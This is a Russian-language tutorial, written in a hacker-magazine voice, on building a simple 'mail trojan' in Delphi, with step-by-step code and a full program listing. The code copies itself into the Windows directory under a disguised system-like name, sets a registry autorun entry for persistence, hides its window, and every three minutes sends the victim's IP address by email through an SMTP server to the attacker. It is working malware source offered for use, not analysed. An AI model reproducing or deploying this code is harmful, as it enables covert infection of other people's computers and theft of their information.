Сегодня мы рассмотрим как сделать простого мыльного трояна на Delphi. Для создания трояна будем пользоваться стандартными компонентами Delphi. Версия Delphi 3 и выше. Для начала создай новый проект. Дальше нажми два раза крысой по форме и пиши:
begin
CurPath := ExtractFilePath(ParamStr(0)); // определяем текущий каталог
GetWindowsDirectory(WinPath,255); // определяем где находится винда
If (WinPath<>CurPath) then //если не в каталоге с виндой, то:
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false); // копируем себя в каталог винды
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;
Теперь допиши в uses слово Registry(в самом верху).Теперь добавь переменные после var Form1: TForm1; (чуть ниже):
WinPath : array [0..255] of char;
CurPath : String;
RegIni : TRegIniFile;
У тебя должно получится:
var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;
Теперь кидаем на форму компонент Timer(закладка System) и NMSmtp(закладка FastNet), ставим у таймера интервал 3 минуты(180000). Кликаем по таймеру и пишем:
NmSMTP1.host:='smtp.mail.ru'; //лучше используй другой сервер
NmSMTP1.Connect; // подключаемся к smtp серверу
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES '; // От куда письмо
NMSMTP1.PostMessage.FromName := 'First Trojan'; //От кого письмо
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail'; //Кому шлём письмо
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP; // посылаем IP.
NMSMTP1.PostMessage.Subject := 'First Trojan'; //Тема
NMSMTP1.SendMail; // посылаем письмо
end;
Теперь надо сделать так, чтобы юзер при запуске программы не видел главного окна. Выбери в меню: project>>>View source и ты увидишь:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Теперь допиши после "Application.CreateForm(TForm1, Form1);" строчку "Application.ShowMainForm:=false;". У тебя должно получиться:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.
Вот и весь троян! Надеюсь теперь ты понял как можно сделать простого мыльного трояна на Delphi. А вот весь листинг программы:
unit Unit1;
interface
uses
Windows, Messages, SysUtils,registry, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, Psock, NMsmtp;
type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
public
end;
var
Form1: TForm1;
WinPath : array [0..255] of char;
CurPath : String;
RegIni:TRegIniFile;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If (WinPath<> CurPath) then
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\WinWXD.exe')[1],false);
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'WinVXD.exe', 'WinVXD.exe');
RegIni.Free; // прописались в реестр
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
NmSMTP1.host:='smtp.mail.ru';
NmSMTP1.Connect;
if NMSMTP1.Connected then
begin
NMSMTP1.PostMessage.FromAddress :='From BILL GATES ';
NMSMTP1.PostMessage.FromName := 'First Trojan';
NMSMTP1.PostMessage.ToAddress.Text := 'your@e.mail';
NMSMTP1.PostMessage.Body.Text := 'Ip: '+NMSMTP1.LocalIP;
NMSMTP1.PostMessage.Subject := 'First Trojan';
NMSMTP1.SendMail;
end;
end;
end.
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false;
Application.Run;
end.